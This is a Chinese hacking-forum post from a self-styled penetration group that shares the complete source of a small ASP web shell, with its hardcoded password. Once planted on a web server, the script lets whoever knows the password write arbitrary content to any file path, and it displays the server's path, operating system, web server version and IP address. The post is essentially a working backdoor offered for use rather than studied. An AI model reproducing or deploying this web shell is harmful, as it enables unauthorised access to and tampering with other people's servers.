Ghost网安小组-Ghostgroup

 找回密码
 立即注册
搜索
热搜: 渗透
查看: 1648|回复: 0

上传类小马

[复制链接]
发表于 2018-8-29 22:29:02 | 显示全部楼层 |阅读模式
密码 Aatrox

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Ghostgroup 渗透小组专用 ASP小马   by: Aatrox </title>

<%
on error resume next
%>
<%
  if request("pass")="Aatrox" then  '在这修改密码
  session("pw")="go"
  end if
%>
<%if session("pw")<>"go" then %>
<%="<center><br><form action='' method='post'>"%>
<%="<input name='pass' type='password' size='10'> <input "%><%="type='submit' value='我要进去'></center>"%>
<%else%>
<%
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
%>
<%="yes"%>
<%else%>
<%="no"%>
<%
end if
err.clear
end if
da.close
%>
<%set da=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%="当前文件路径:"&server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%="操作系统为:"&Request.ServerVariables("OS")%>
<%="<br>"%>
<%="WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")%>
<%="<br>"%>
<%="服务器的IP为:"&Request.ServerVariables("LOCAL_ADDR")%>
<%="<br>"%>
<%=""%>
<%="<textarea name=da cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
<%="<font face='黑体' color='red'> write by Aatrox QQ:2863140381 </font>"%>
<%="<a href='tencent://message/?uin=2863140381'>联系我</a>"%>
<%end if%></body></html>

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
We Are Ghost
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ| Ghost网安小组-Ghostgroup |网站地图

GMT+8, 2020-2-22 21:11

Powered by Aatrox

© 2001-2020 We Are Ghost

快速回复 返回顶部 返回列表